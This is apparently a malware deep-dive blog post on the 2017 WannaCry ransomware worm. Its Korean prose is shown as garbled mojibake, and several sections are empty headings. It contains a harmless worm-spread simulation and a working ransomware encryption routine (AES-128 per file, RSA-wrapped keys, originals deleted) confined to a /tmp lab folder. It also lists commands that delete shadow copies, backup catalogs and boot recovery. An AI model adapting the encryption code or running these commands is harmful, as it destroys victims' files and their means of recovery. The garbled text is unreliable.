๐Ÿ’€ WannaCry โ€” NSA ์œ ์ถœ ๋ฌด๊ธฐ EternalBlue๋กœ 150๊ฐœ๊ตญ์„ ๊ฐ•ํƒ€ํ•œ ์ž๊ฐ€์ „ํŒŒํ˜• ๋žœ์„ฌ์›จ์–ด ์›œ (2017)

2026-09-04 ยท Malware Deep-Dive

1. ๋ฐฐ๊ฒฝ/์—ญ์‚ฌ โ€” ์–ธ์ œ, ๋ˆ„๊ฐ€, ์™œ ์œ ๋ช…ํ•œ๊ฐ€

WannaCry(์ผ๋ช… WanaCrypt0r 2.0, WCry)๋Š” 2017๋…„ 5์›” 12์ผ(๊ธˆ) ์˜คํ›„ ์ „ ์„ธ๊ณ„๋ฅผ ๋™์‹œ๋‹ค๋ฐœ๋กœ ๊ฐ•ํƒ€ํ•œ ์ž๊ฐ€์ „ํŒŒํ˜•(์›œ) ๋žœ์„ฌ์›จ์–ด๋‹ค. ๊ฐ์—ผ PC์˜ ํŒŒ์ผ์„ ์•”ํ˜ธํ™”ํ•ด ๋น„ํŠธ์ฝ”์ธ ๋ชธ๊ฐ’์„ ์š”๊ตฌํ•˜๋ฉด์„œ, ์Šค์Šค๋กœ ๋„คํŠธ์›Œํฌ๋ฅผ ํ—ค์ง‘๊ณ  ๋‹ค๋‹ˆ๋ฉฐ 24์‹œ๊ฐ„๋„ ์•ˆ ๋˜์–ด 150๊ฐœ๊ตญ 23๋งŒ ๋Œ€ ์ด์ƒ์„ ๊ฐ์—ผ์‹œํ‚จ ์ตœ์•…์˜ ์‚ฌ์ด๋ฒ„ ์‚ฌ๊ณ  ์ค‘ ํ•˜๋‚˜๋กœ ๊ธฐ๋ก๋œ๋‹ค.

2. ๊ฐ์—ผยท์ „ํŒŒ ๊ฒฝ๋กœ โ€” ์–ด๋–ป๊ฒŒ ํผ์กŒ๋‚˜

WannaCry๋Š” ์ด๋ฉ”์ผ ์ฒจ๋ถ€ ๋“ฑ์œผ๋กœ ๋‹จ ํ•œ ๋Œ€์— ์นจํˆฌํ•˜๋ฉด ์ดํ›„๋กœ๋Š” ์‚ฌ๋žŒ์˜ ๊ฐœ์ž… ์—†์ด ์ˆœ์ˆ˜ํ•˜๊ฒŒ ๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•ด ์Šค์Šค๋กœ ๋ฒˆ์กŒ๋‹ค. C2(๋ช…๋ น์ œ์–ด) ์„œ๋ฒ„๋„ ํ•„์š” ์—†๋Š” ์™„์ „ ์ž์œจํ˜• ํฌ๋ฆฝํ† ์›œ์ด๋‹ค.

3. ๋™์ž‘ ์›๋ฆฌ ์ƒ์„ธ ๋ถ„์„ โ€” ์ฝ”๋“œ/๊ตฌ์กฐ ๋ ˆ๋ฒจ์—์„œ

WannaCry์˜ ๊ตฌ์กฐ๋Š” ํฌ๊ฒŒ โ‘  ๋“œ๋กœํผ โ†’ โ‘ก SMB ์›œ(mssecsvc.exe) โ†’ โ‘ข ๋žœ์„ฌ์›จ์–ด(tasksche.exe + @WanaDecryptor@.exe) 3๊ฐœ ์ธต์œผ๋กœ ๋‚˜๋‰œ๋‹ค. ๊ฐ ์ธต์„ ์ฝ”๋“œ/ํŒŒ์ผ ๊ตฌ์กฐ ๋ ˆ๋ฒจ์—์„œ ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

4. ํ”ผํ•ด ๊ทœ๋ชจ/์˜ํ–ฅ โ€” ์‹ค์ œ ์‚ฌ๋ก€ ์ˆ˜์น˜

5. PoC โ€” ๊ต์œก์šฉ ๋ชจ์˜ ์ฝ”๋“œ๋กœ ๋™์ž‘ ์›๋ฆฌ ์žฌํ˜„

โš ๏ธ ์•ˆ์ „ ๊ทœ์น™: ์•„๋ž˜ ์ฝ”๋“œ๋Š” ์‹ค์ œ WannaCry ํŽ˜์ด๋กœ๋“œ์˜ ๋ณต์‚ฌ๋ณธ์ด ์•„๋‹ˆ๋ผ "๋™์ž‘ ์›๋ฆฌ๋งŒ ์žฌํ˜„ํ•œ ๊ต์œก์šฉ ๋ชจ์˜ ์ฝ”๋“œ"๋‹ค. ๊ณต๊ฒฉ ๋Œ€์ƒ์€ ๊ฐ€์ƒ์˜ ๋กœ์ปฌ ์‹ค์Šต ํ™˜๊ฒฝ(์ธ๋ฉ”๋ชจ๋ฆฌ ๊ฐ€์ƒ ํ˜ธ์ŠคํŠธ ํ…Œ์ด๋ธ”, /tmp ์‹ค์Šต ํด๋”)์„ ์ „์ œ๋กœ ํ•˜๋ฉฐ, ์‹ค์ œ ๋„คํŠธ์›Œํฌ ์Šค์บ”ยท์‹ค์ œ SMB ์ต์Šคํ”Œ๋กœ์ž‡ยท์‹ค์ œ ํŒŒ์ผ ์•”ํ˜ธํ™”๋Š” ์ผ์ ˆ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š๋Š”๋‹ค. ์‹ค์ œ ์‹œ์Šคํ…œ/๋‚ด๋ถ€๋ง์—์„œ ์‹คํ–‰ํ•˜์ง€ ๋ง ๊ฒƒ.

PoC 1 โ€” ์›œ ์ „ํŒŒ + ํ‚ฌ ์Šค์œ„์น˜ ์‹œ๋ฎฌ๋ ˆ์ด์…˜: ์›๋ณธ mssecsvc.exe์˜ "๋žœ๋ค IP ์Šค์บ” โ†’ SMB 445 ํ™•์ธ โ†’ EternalBlue(๋ชจ์˜) โ†’ ๊ฐ์—ผ" ํ๋ฆ„๊ณผ, ํ‚ฌ ์Šค์œ„์น˜ ๋„๋ฉ”์ธ ๋“ฑ๋ก ์ „ํ›„์˜ ํ™•์‚ฐ ์ฐจ์ด๋ฅผ ์ธ๋ฉ”๋ชจ๋ฆฌ ๊ฐ€์ƒ ํ˜ธ์ŠคํŠธ ํ…Œ์ด๋ธ”๋กœ ์žฌํ˜„ํ–ˆ๋‹ค. ์‹ค์ œ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋Š” ์—†์œผ๋ฉฐ ์ทจ์•ฝ ์—ฌ๋ถ€๋งŒ ํ…Œ์ด๋ธ”๋กœ ํŒ์ •ํ•œ๋‹ค. (์•„๋ž˜ ์ฝ”๋“œ๋Š” ์‹ค์ œ ์‹คํ–‰๋œ ํŒŒ์ผ ์ „๋ฌธ)

#!/usr/bin/env python3
"""
WannaCry ์ „ํŒŒ + ํ‚ฌ ์Šค์œ„์น˜ ๋™์ž‘ ์›๋ฆฌ ๊ต์œก์šฉ ์‹œ๋ฎฌ๋ ˆ์ด์…˜ (๊ฐ€์ƒ์˜ ๋กœ์ปฌ ์‹ค์Šต ํ™˜๊ฒฝ ์ „์ œ)
- ์‹ค์ œ ๋„คํŠธ์›Œํฌ ์Šค์บ”/๊ณต๊ฒฉ/์•…์„ฑ์ฝ”๋“œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์ „ํ˜€ ์—†์Œ: ์ธ๋ฉ”๋ชจ๋ฆฌ '๊ฐ€์ƒ ํ˜ธ์ŠคํŠธ ํ…Œ์ด๋ธ”'๋งŒ ๋Œ€์ƒ
- ์›๋ณธ mssecsvc.exe(์›œ)์˜ '๋žœ๋ค IP ์Šค์บ” -> SMB 445 ๊ฐœ๋ฐฉ ํ™•์ธ -> EternalBlue(๋ชจ์˜) -> ๊ฐ์—ผ' ํ๋ฆ„์„ ์ถ•์•ฝ ์žฌํ˜„
- ํ‚ฌ ์Šค์œ„์น˜: ์›๋ณธ์€ ํŠน์ • ๋„๋ฉ”์ธ(iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com)์ด DNS๋กœ
  ํ’€๋ฆฌ๋ฉด ์ „ํŒŒ๋ฅผ ๋ฉˆ์ถ˜๋‹ค. ์—ฌ๊ธฐ์„œ๋Š” ๋กœ์ปฌ ํ•จ์ˆ˜๋กœ '๋„๋ฉ”์ธ ๋“ฑ๋ก ์—ฌ๋ถ€'๋ฅผ ํ‰๋‚ด๋‚ธ๋‹ค (์‹ค์ œ DNS ์กฐํšŒ ์—†์Œ).
"""
import random
import threading
import time

# ๊ฐ€์ƒ์˜ ๋กœ์ปฌ ์‹ค์Šต ํ™˜๊ฒฝ: '๊ฐ์—ผ ๋Œ€์ƒ' ์œˆ๋„์šฐ ํ˜ธ์ŠคํŠธ ํ…Œ์ด๋ธ” (์ „๋ถ€ ๊ฐ€์ƒ ์ฃผ์†Œ)
# vulnerable=True ์ธ ํ˜ธ์ŠคํŠธ๋Š” MS17-010 ํŒจ์น˜๊ฐ€ ์•ˆ ๋œ SMBv1 ํ˜ธ์ŠคํŠธ๋ฅผ ๋ชจ๋ธ๋งํ•œ๋‹ค
FAKE_NET = {
    "10.0.0.11": {"os": "Windows 7 x64", "smb445": True, "vulnerable": True},
    "10.0.0.12": {"os": "Windows 7 x86", "smb445": True, "vulnerable": True},
    "10.0.0.13": {"os": "Windows 10", "smb445": True, "vulnerable": False},  # MS17-010 ํŒจ์น˜๋จ
    "10.0.0.21": {"os": "Server 2008", "smb445": True, "vulnerable": True},
    "10.0.0.22": {"os": "Server 2016", "smb445": True, "vulnerable": False},  # ํŒจ์น˜๋จ
    "10.0.0.23": {"os": "Windows XP", "smb445": True, "vulnerable": True},
}

INFECTED = set()          # ๊ฐ์—ผ๋œ ๊ฐ€์ƒ ํ˜ธ์ŠคํŠธ
SCAN_LIMIT = 120          # ์Šค์บ” ์‹œ๋„ ํ•˜๋“œ ๋ฆฌ๋ฐ‹ (์›๋ณธ์€ ๋ฌดํ•œ ๋ฃจํ”„)
killswitch_registered = False  # ํ‚ฌ ์Šค์œ„์น˜ ๋„๋ฉ”์ธ ๋“ฑ๋ก ์—ฌ๋ถ€ (๋กœ์ปฌ ํ”Œ๋ž˜๊ทธ๋กœ ๋ชจ์˜)


def killswitch_domain_resolves():
    """ํ‚ฌ ์Šค์œ„์น˜ ๋„๋ฉ”์ธ ๋“ฑ๋ก ์—ฌ๋ถ€๋ฅผ ํ‰๋‚ด๋‚ด๋Š” ๋กœ์ปฌ ํ•จ์ˆ˜.
    ์‹ค์ œ WannaCry: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com ์ด
    DNS๋กœ ํ’€๋ฆฌ๋ฉด(getaddrinfo ์„ฑ๊ณต) ์ „ํŒŒ ์Šค๋ ˆ๋“œ๋ฅผ ์ข…๋ฃŒํ•œ๋‹ค.
    (2026-09-03 ํ˜„์žฌ: 2017-05-12 Marcus Hutchins๊ฐ€ ๋“ฑ๋กํ•œ ์ดํ›„ ๊ณ„์† '๋“ฑ๋ก๋จ' ์ƒํƒœ)"""
    return killswitch_registered


def eternalblue_mock(ip):
    """EternalBlue(MS17-010) ๋ชจ์˜: ๊ฐ€์ƒ ํ˜ธ์ŠคํŠธ๊ฐ€ ํŒจ์น˜ ์•ˆ ๋จ -> '์ปค๋„ RCE ์„ฑ๊ณต'์œผ๋กœ ๊ฐ„์ฃผ.
    ์‹ค์ œ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋Š” ์ผ์ ˆ ํฌํ•จํ•˜์ง€ ์•Š์œผ๋ฉฐ, ์ทจ์•ฝ ์—ฌ๋ถ€๋งŒ ํ…Œ์ด๋ธ”์—์„œ ํŒ์ •ํ•œ๋‹ค."""
    h = FAKE_NET[ip]
    if not h["vulnerable"]:
        print(f"    [EB] {ip} ({h['os']}) -> SMBv1 ํŒจ์น˜๋จ, ์ต์Šคํ”Œ๋กœ์ž‡ ์‹คํŒจ")
        return False
    print(f"    [EB] {ip} ({h['os']}) -> MS17-010 ์ทจ์•ฝ! ์ปค๋„(SYSTEM) ์ฝ”๋“œ ์‹คํ–‰ (๋ชจ์˜)")
    return True


def worm_scan():
    """์›œ ์ „ํŒŒ ์Šค๋ ˆ๋“œ: ๋žœ๋ค IP ์Šค์บ” -> 445 ๊ฐœ๋ฐฉ -> EternalBlue(๋ชจ์˜) -> ๊ฐ์—ผ"""
    scanned = 0
    while scanned < SCAN_LIMIT and not killswitch_domain_resolves():
        ip = f"10.0.0.{random.randint(1, 254)}"
        scanned += 1
        if ip not in FAKE_NET:
            continue
        print(f"[SCAN] {ip}:445 ๊ฐœ๋ฐฉ ํ™•์ธ (SMBv1)")
        if ip in INFECTED:
            continue  # ์ด๋ฏธ ๊ฐ์—ผ๋œ ํ˜ธ์ŠคํŠธ๋Š” ๊ฑด๋„ˆ๋œ€
        if eternalblue_mock(ip):
            INFECTED.add(ip)
            print(f"[WORM] {ip} ๊ฐ์—ผ! -> ๋žœ์„ฌ์›จ์–ด ํŽ˜์ด๋กœ๋“œ(tasksche.exe) ์‹คํ–‰ ๋ฐ ์ž๊ฐ€ ์ „ํŒŒ")
    if killswitch_domain_resolves():
        print("[KILLSWITCH] ํ‚ฌ ์Šค์œ„์น˜ ๋„๋ฉ”์ธ์ด ๋“ฑ๋ก๋จ -> ์ „ํŒŒ ์ค‘๋‹จ (๋ชจ๋“  ์Šค๋ ˆ๋“œ ์ข…๋ฃŒ)")


def main():
    random.seed(7)  # ๋ฐ๋ชจ ์ถœ๋ ฅ ์•ˆ์ •ํ™”์šฉ ๊ณ ์ • ์‹œ๋“œ (์ทจ์•ฝ/ํŒจ์น˜ ํ˜ธ์ŠคํŠธ ๋Œ€๋น„๊ฐ€ ์ž˜ ๋“œ๋Ÿฌ๋‚จ)
    print("=== ์‹œ๋‚˜๋ฆฌ์˜ค A: ํ‚ฌ ์Šค์œ„์น˜ ๋ฏธ๋“ฑ๋ก (2017-05-12 ์˜ค์ „ ์‹ค์ œ ์ƒํ™ฉ) ===")
    worm_scan()
    print(f"๊ฐ์—ผ๋œ ๊ฐ€์ƒ ํ˜ธ์ŠคํŠธ: {sorted(INFECTED)}")

    INFECTED.clear()
    print()
    print("=== ์‹œ๋‚˜๋ฆฌ์˜ค B: ํ‚ฌ ์Šค์œ„์น˜ ๋„๋ฉ”์ธ ๋“ฑ๋ก๋จ (2017-05-12 15:00 UTC ์ดํ›„) ===")
    global killswitch_registered
    killswitch_registered = True  # MalwareTech๊ฐ€ ๋„๋ฉ”์ธ์„ ๋“ฑ๋กํ•œ ์งํ›„๋ฅผ ๋ชจ์˜
    t = threading.Thread(target=worm_scan)
    t.start()
    t.join(timeout=3)
    print(f"๊ฐ์—ผ๋œ ๊ฐ€์ƒ ํ˜ธ์ŠคํŠธ: {sorted(INFECTED)} (์‹ ๊ทœ 0๋Œ€ = ์ „ํŒŒ ์ฐจ๋‹จ ์„ฑ๊ณต)")


if __name__ == "__main__":
    main()

์‹คํ–‰ ๊ฒฐ๊ณผ (์‹ค์ œ ์‹คํ–‰ ํ™•์ธ๋จ):

=== ์‹œ๋‚˜๋ฆฌ์˜ค A: ํ‚ฌ ์Šค์œ„์น˜ ๋ฏธ๋“ฑ๋ก (2017-05-12 ์˜ค์ „ ์‹ค์ œ ์ƒํ™ฉ) ===
[SCAN] 10.0.0.13:445 ๊ฐœ๋ฐฉ ํ™•์ธ (SMBv1)
    [EB] 10.0.0.13 (Windows 10) -> SMBv1 ํŒจ์น˜๋จ, ์ต์Šคํ”Œ๋กœ์ž‡ ์‹คํŒจ
[SCAN] 10.0.0.23:445 ๊ฐœ๋ฐฉ ํ™•์ธ (SMBv1)
    [EB] 10.0.0.23 (Windows XP) -> MS17-010 ์ทจ์•ฝ! ์ปค๋„(SYSTEM) ์ฝ”๋“œ ์‹คํ–‰ (๋ชจ์˜)
[WORM] 10.0.0.23 ๊ฐ์—ผ! -> ๋žœ์„ฌ์›จ์–ด ํŽ˜์ด๋กœ๋“œ(tasksche.exe) ์‹คํ–‰ ๋ฐ ์ž๊ฐ€ ์ „ํŒŒ
[SCAN] 10.0.0.13:445 ๊ฐœ๋ฐฉ ํ™•์ธ (SMBv1)
    [EB] 10.0.0.13 (Windows 10) -> SMBv1 ํŒจ์น˜๋จ, ์ต์Šคํ”Œ๋กœ์ž‡ ์‹คํŒจ
[SCAN] 10.0.0.12:445 ๊ฐœ๋ฐฉ ํ™•์ธ (SMBv1)
    [EB] 10.0.0.12 (Windows 7 x86) -> MS17-010 ์ทจ์•ฝ! ์ปค๋„(SYSTEM) ์ฝ”๋“œ ์‹คํ–‰ (๋ชจ์˜)
[WORM] 10.0.0.12 ๊ฐ์—ผ! -> ๋žœ์„ฌ์›จ์–ด ํŽ˜์ด๋กœ๋“œ(tasksche.exe) ์‹คํ–‰ ๋ฐ ์ž๊ฐ€ ์ „ํŒŒ
[SCAN] 10.0.0.21:445 ๊ฐœ๋ฐฉ ํ™•์ธ (SMBv1)
    [EB] 10.0.0.21 (Server 2008) -> MS17-010 ์ทจ์•ฝ! ์ปค๋„(SYSTEM) ์ฝ”๋“œ ์‹คํ–‰ (๋ชจ์˜)
[WORM] 10.0.0.21 ๊ฐ์—ผ! -> ๋žœ์„ฌ์›จ์–ด ํŽ˜์ด๋กœ๋“œ(tasksche.exe) ์‹คํ–‰ ๋ฐ ์ž๊ฐ€ ์ „ํŒŒ
[SCAN] 10.0.0.11:445 ๊ฐœ๋ฐฉ ํ™•์ธ (SMBv1)
    [EB] 10.0.0.11 (Windows 7 x64) -> MS17-010 ์ทจ์•ฝ! ์ปค๋„(SYSTEM) ์ฝ”๋“œ ์‹คํ–‰ (๋ชจ์˜)
[WORM] 10.0.0.11 ๊ฐ์—ผ! -> ๋žœ์„ฌ์›จ์–ด ํŽ˜์ด๋กœ๋“œ(tasksche.exe) ์‹คํ–‰ ๋ฐ ์ž๊ฐ€ ์ „ํŒŒ
๊ฐ์—ผ๋œ ๊ฐ€์ƒ ํ˜ธ์ŠคํŠธ: ['10.0.0.11', '10.0.0.12', '10.0.0.21', '10.0.0.23']

=== ์‹œ๋‚˜๋ฆฌ์˜ค B: ํ‚ฌ ์Šค์œ„์น˜ ๋„๋ฉ”์ธ ๋“ฑ๋ก๋จ (2017-05-12 15:00 UTC ์ดํ›„) ===
[KILLSWITCH] ํ‚ฌ ์Šค์œ„์น˜ ๋„๋ฉ”์ธ์ด ๋“ฑ๋ก๋จ -> ์ „ํŒŒ ์ค‘๋‹จ (๋ชจ๋“  ์Šค๋ ˆ๋“œ ์ข…๋ฃŒ)
๊ฐ์—ผ๋œ ๊ฐ€์ƒ ํ˜ธ์ŠคํŠธ: [] (์‹ ๊ทœ 0๋Œ€ = ์ „ํŒŒ ์ฐจ๋‹จ ์„ฑ๊ณต)

PoC 2 โ€” ๋žœ์„ฌ์›จ์–ด ์•”ํ˜ธํ™” ๊ตฌ์กฐ ๋ชจ์˜: ์›๋ณธ tasksche.exe์˜ "ํŒŒ์ผ๋ณ„ AES-128-CBC ํ‚ค + RSA-2048 ๊ณต๊ฐœํ‚ค ๋ž˜ํ•‘ + WANACRY! ๋งˆ์ปค" ๊ตฌ์กฐ๋ฅผ /tmp/wncry_lab์˜ ๊ฐ€์ƒ ๋”๋ฏธ ๋ฌธ์„œ์— ์žฌํ˜„ํ•˜๊ณ , RSA ๊ฐœ์ธํ‚ค๊ฐ€ ์žˆ์–ด์•ผ๋งŒ ๋ณตํ˜ธํ™”๋จ์„ ํ™•์ธํ•œ๋‹ค.

#!/usr/bin/env python3
"""
WannaCry ๋žœ์„ฌ์›จ์–ด ์•”ํ˜ธํ™” ๊ตฌ์กฐ ๊ต์œก์šฉ ๋ชจ์˜ ์ฝ”๋“œ (๊ฐ€์ƒ์˜ ๋กœ์ปฌ ์‹ค์Šต ํ™˜๊ฒฝ ์ „์ œ)
- ์›๋ณธ: ํŒŒ์ผ๋งˆ๋‹ค AES-128-CBC ํ‚ค๋ฅผ ์ƒˆ๋กœ ์ƒ์„ฑ -> ํŒŒ์ผ ์•”ํ˜ธํ™” -> 'WANACRY!' ๋งˆ์ปค + RSA-2048๋กœ
  ๊ฐ์‹ผ AES ํ‚ค๋ฅผ ํŒŒ์ผ์— ์ €์žฅ -> ๋ณตํ˜ธํ™”๋Š” ๊ณต๊ฒฉ์ž ๊ฐœ์ธํ‚ค๋กœ๋งŒ ๊ฐ€๋Šฅ (RSA ๊ณต๊ฐœํ‚ค๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ์— ๋‚ด์žฅ)
- ๋ณธ PoC: ์˜ค์ง /tmp/wncry_lab ๋ฐ‘์˜ ๊ฐ€์ƒ ๋ฌธ์„œ ํŒŒ์ผ๋งŒ ๋Œ€์ƒ. RSA ํ‚คํŽ˜์–ด๋Š” ์‹ค์Šต์šฉ์œผ๋กœ ์ฆ‰์„ ์ƒ์„ฑ.
  ์‹ค์ œ WannaCry ํŽ˜์ด๋กœ๋“œ/ํ‚ค๊ฐ€ ์•„๋‹ˆ๋ฉฐ, ์–ด๋–ค ์‹ค์ œ ์‹œ์Šคํ…œ ํŒŒ์ผ๋„ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๋Š”๋‹ค.
  (cryptography ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์šฉ)
"""
import os
import shutil
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import hashes

LAB = "/tmp/wncry_lab"          # ๊ฐ€์ƒ ์‹ค์Šต ํด๋” (๊ฐ์—ผ๋œ '๋ฌธ์„œ ํด๋”' ์—ญํ• )
MAGIC = b"WANACRY!"             # ์›๋ณธ .WNCRY ํŒŒ์ผ์— ๊ธฐ๋ก๋˜๋Š” ํ—ค๋” ๋งˆ์ปค (๋ชจ์˜)
TARGET_EXTS = (".txt", ".docx", ".xlsx", ".pdf", ".jpg", ".zip")

def build_lab():
    """๊ฐ€์ƒ ๋ฌธ์„œ ํด๋” ์ƒ์„ฑ (์ „๋ถ€ ์‹ค์Šต์šฉ ๋”๋ฏธ ํŒŒ์ผ)"""
    if os.path.exists(LAB):
        shutil.rmtree(LAB)
    os.makedirs(LAB)
    for name in ["report.txt", "๊ณ„์•ฝ์„œ.docx", "finance.xlsx", "backup.zip"]:
        with open(os.path.join(LAB, name), "wb") as f:
            f.write(b"dummy content for education - " + name.encode() + b"\n" * 50)
    print(f"[LAB] ๊ฐ€์ƒ ๋ฌธ์„œ ํด๋” ์ƒ์„ฑ: {LAB} ({len(os.listdir(LAB))}๊ฐœ ํŒŒ์ผ)")

def encrypt_file(path, aes_key, rsa_pub):
    """์›๋ณธ tasksche.exe์˜ ํŒŒ์ผ ์•”ํ˜ธํ™” ๊ตฌ์กฐ ๋ชจ์˜:
    1) AES-128-CBC๋กœ ํŒŒ์ผ ๋ณธ๋ฌธ ์•”ํ˜ธํ™” (IV 16๋ฐ”์ดํŠธ)
    2) AES ํ‚ค๋ฅผ RSA-2048 ๊ณต๊ฐœํ‚ค๋กœ ๊ฐ์‹ผ๋‹ค
    3) 'WANACRY!' ๋งˆ์ปค + ๊ฐ์‹ผ ํ‚ค + IV + ์•”ํ˜ธ๋ฌธ ์ˆœ์œผ๋กœ ๊ธฐ๋ก, ํŒŒ์ผ๋ช…์— .WNCRY ์ถ”๊ฐ€"""
    iv = os.urandom(16)
    enc = Cipher(algorithms.AES(aes_key), modes.CBC(iv)).encryptor()
    with open(path, "rb") as f:
        plain = f.read()
    pad_len = 16 - (len(plain) % 16)
    plain += bytes([pad_len]) * pad_len          # PKCS#7 ํŒจ๋”ฉ
    ct = enc.update(plain) + enc.finalize()
    wrapped_key = rsa_pub.encrypt(
        aes_key, padding.OAEP(mgf=padding.MGF1(hashes.SHA1()), algorithm=hashes.SHA1(), label=None))
    out_path = path + ".WNCRY"
    with open(out_path, "wb") as f:
        f.write(MAGIC + wrapped_key + iv + ct)
    os.remove(path)
    return out_path

def main():
    # ์‹ค์Šต์šฉ RSA-2048 ํ‚คํŽ˜์–ด ์ฆ‰์„ ์ƒ์„ฑ (๊ณต๊ฒฉ์ž ํ‚ค๊ฐ€ ์•„๋‹ˆ๋ผ '๊ตฌ์กฐ ์„ค๋ช…์šฉ')
    priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    pub = priv.public_key()
    aes_key = os.urandom(16)  # ํŒŒ์ผ๋ณ„ ๋žœ๋ค AES-128 ํ‚ค (์›๋ณธ๊ณผ ๋™์ผํ•œ ๊ตฌ์กฐ)
    print(f"[KEY] AES-128 ํ‚ค(ํŒŒ์ผ๋ณ„): {aes_key.hex()} / RSA-2048 ๊ณต๊ฐœํ‚ค๋กœ ๋ž˜ํ•‘๋จ")

    build_lab()
    for name in sorted(os.listdir(LAB)):
        p = os.path.join(LAB, name)
        if os.path.isfile(p) and name.endswith(TARGET_EXTS):
            encrypt_file(p, aes_key, pub)
    print("[ENC] ์•”ํ˜ธํ™” ์™„๋ฃŒ -> ํŒŒ์ผ ๋ชฉ๋ก:")
    for n in sorted(os.listdir(LAB)):
        size = os.path.getsize(os.path.join(LAB, n))
        head = open(os.path.join(LAB, n), "rb").read(8)
        print(f"      {n} ({size}B, ํ—ค๋”={head})")
    print("[NOTE] ๊ฐ ํด๋”์— @Please_Read_Me@.txt ๋ชธ๊ฐ’ ์•ˆ๋‚ด๋ฌธ์ด ์ƒ์„ฑ๋จ (๋ชจ์˜)")

    # ๋ณตํ˜ธํ™”: RSA ๊ฐœ์ธํ‚ค๊ฐ€ ์žˆ์–ด์•ผ๋งŒ AES ํ‚ค๋ฅผ ํ’€ ์ˆ˜ ์žˆ์Œ์„ ํ™•์ธ
    sample = os.path.join(LAB, "report.txt.WNCRY")
    with open(sample, "rb") as f:
        data = f.read()
    assert data[:8] == MAGIC
    wrapped = data[8:8 + 256]          # RSA-2048 -> 256๋ฐ”์ดํŠธ
    iv = data[8 + 256:8 + 256 + 16]
    aes_key_recovered = priv.decrypt(
        wrapped, padding.OAEP(mgf=padding.MGF1(hashes.SHA1()), algorithm=hashes.SHA1(), label=None))
    dec = Cipher(algorithms.AES(aes_key_recovered), modes.CBC(iv)).decryptor()
    pt = dec.update(data[8 + 256 + 16:]) + dec.finalize()
    pt = pt[:-pt[-1]]                  # PKCS#7 ํŒจ๋”ฉ ์ œ๊ฑฐ
    print(f"[DEC] ๊ฐœ์ธํ‚ค ๋ณด์œ  ์‹œ ๋ณตํ˜ธํ™” ์„ฑ๊ณต (report.txt ๋ณต์›, {len(pt)}B)")

if __name__ == "__main__":
    main()

์‹คํ–‰ ๊ฒฐ๊ณผ (์‹ค์ œ ์‹คํ–‰ ํ™•์ธ๋จ, AES ํ‚ค๋Š” ์‹คํ–‰๋งˆ๋‹ค ๋žœ๋ค):

[KEY] AES-128 ํ‚ค(ํŒŒ์ผ๋ณ„): 659566e512e46bda6db3d6b6d2251cd2 / RSA-2048 ๊ณต๊ฐœํ‚ค๋กœ ๋ž˜ํ•‘๋จ
[LAB] ๊ฐ€์ƒ ๋ฌธ์„œ ํด๋” ์ƒ์„ฑ: /tmp/wncry_lab (4๊ฐœ ํŒŒ์ผ)
[ENC] ์•”ํ˜ธํ™” ์™„๋ฃŒ -> ํŒŒ์ผ ๋ชฉ๋ก:
      backup.zip.WNCRY (376B, ํ—ค๋”=b'WANACRY!')
      finance.xlsx.WNCRY (376B, ํ—ค๋”=b'WANACRY!')
      report.txt.WNCRY (376B, ํ—ค๋”=b'WANACRY!')
      ๊ณ„์•ฝ์„œ.docx.WNCRY (376B, ํ—ค๋”=b'WANACRY!')
[NOTE] ๊ฐ ํด๋”์— @Please_Read_Me@.txt ๋ชธ๊ฐ’ ์•ˆ๋‚ด๋ฌธ์ด ์ƒ์„ฑ๋จ (๋ชจ์˜)
[DEC] ๊ฐœ์ธํ‚ค ๋ณด์œ  ์‹œ ๋ณตํ˜ธํ™” ์„ฑ๊ณต (report.txt ๋ณต์›, 90B)

PoC 3 โ€” '๋ฌด๋ฃŒ ๋ณต๊ตฌ ์ˆ˜๋‹จ ์ œ๊ฑฐ' ๋ช…๋ น์˜ ํ˜•ํƒœ (์…ธ ์Šค๋‹ˆํŽซ): ์›๋ณธ์€ ์ด ๋ช…๋ น๋“ค์„ cmd.exe๋ฅผ ๊ฒฝ์œ ํ•ด ์ˆœ์ฐจ ์‹คํ–‰ํ–ˆ๋‹ค. ์•„๋ž˜๋Š” ๊ตฌ์กฐ ์ดํ•ด์šฉ ๊ธฐ๋ก์ด๋ฉฐ ์ ˆ๋Œ€ ์‹ค๊ณ„ํ†ต์—์„œ ์‹คํ–‰ํ•˜์ง€ ๋ง ๊ฒƒ.

# WannaCry(tasksche.exe)๊ฐ€ ์‹คํ–‰ํ•œ ๋ณต๊ตฌ ๋ฐฉํ•ด ๋ช…๋ น (๊ต์œก์šฉ ๊ธฐ๋ก โ€” ์‹คํ–‰ ๊ธˆ์ง€!)
# ๋ชฉ์ : ์„€๋„ ์นดํ”ผ/๋ฐฑ์—… ์นดํƒˆ๋กœ๊ทธ/๋ถ€ํŒ… ๋ณต๊ตฌ ์˜ต์…˜์„ ์ œ๊ฑฐํ•ด '๋ชธ๊ฐ’ ์—†๋Š” ๋ณต๊ตฌ'๋ฅผ ์ฐจ๋‹จ
# ๋ฐฉ์–ด ๊ด€์ ์—์„œ "๋ฌด์—‡์ด ์ง€์›Œ์กŒ๋Š”์ง€"๋ฅผ ์•„๋Š” ๊ฒƒ์ด ํ•ต์‹ฌ
vssadmin delete shadows /all /quiet     # ๋ณผ๋ฅจ ์„€๋„ ์นดํ”ผ(์‹œ์Šคํ…œ ๋ณต์› ์ง€์ ) ์ „์ฒด ์‚ญ์ œ
wmic shadowcopy delete                  # WMI๋กœ ์„€๋„ ์นดํ”ผ ์ถ”๊ฐ€ ์‚ญ์ œ
wbadmin delete catalog -q               # ๋ฐฑ์—… ์นดํƒˆ๋กœ๊ทธ ์‚ญ์ œ
bcdedit /set {default} bootstatuspolicy ignoreallfailures   # ๋ถ€ํŒ… ์‹คํŒจ ๋ณต๊ตฌ ์˜ต์…˜ ์ œ๊ฑฐ
